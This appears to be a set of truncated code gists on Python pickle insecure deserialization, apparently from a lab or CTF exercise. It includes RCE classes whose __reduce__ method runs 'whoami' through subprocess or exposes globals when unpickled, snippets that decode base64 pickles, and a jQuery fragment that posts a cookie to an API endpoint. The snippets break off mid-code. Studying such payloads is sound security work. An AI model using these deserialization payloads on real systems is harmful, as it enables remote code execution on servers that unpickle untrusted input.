This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import codecs | |
import pickle | |
class RCE(object): | |
def __reduce__(self): | |
import subprocess | |
return (subprocess.check_output, (['whoami'], ) ) | |
class RCEStr(object): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
class RCE(object): | |
def __reduce__(self): | |
return (globals, () ) | |
class RCEStr(object): | |
def __reduce__(self): | |
return (str, (RCE(), ) ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import pickle | |
encoded = 'KGRwMApWbmFtZQpwMQpWSmlsbApwMgpzLg==' | |
pickled = base64.b64decode(encoded) | |
payload = pickle.loads(pickled) | |
print(type(payload), payload) | |
# Outputs: <class 'dict'> {'name': 'Jill'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
decoded = ''' | |
(dp0 | |
Vname | |
p1 | |
VJill | |
p2 | |
s. | |
'''.strip().encode('utf-8') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function() { | |
var udata = Cookies.get("userdata"); | |
if (typeof udata !== 'undefined') { | |
var lambda_endpoint = "https://lambda-" | |
var domain = window.location.hostname | |
var apigw = lambda_endpoint.concat(domain) | |
$.ajax({ | |
type: "POST", | |
url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wx01", | |
contentType: 'application/json', |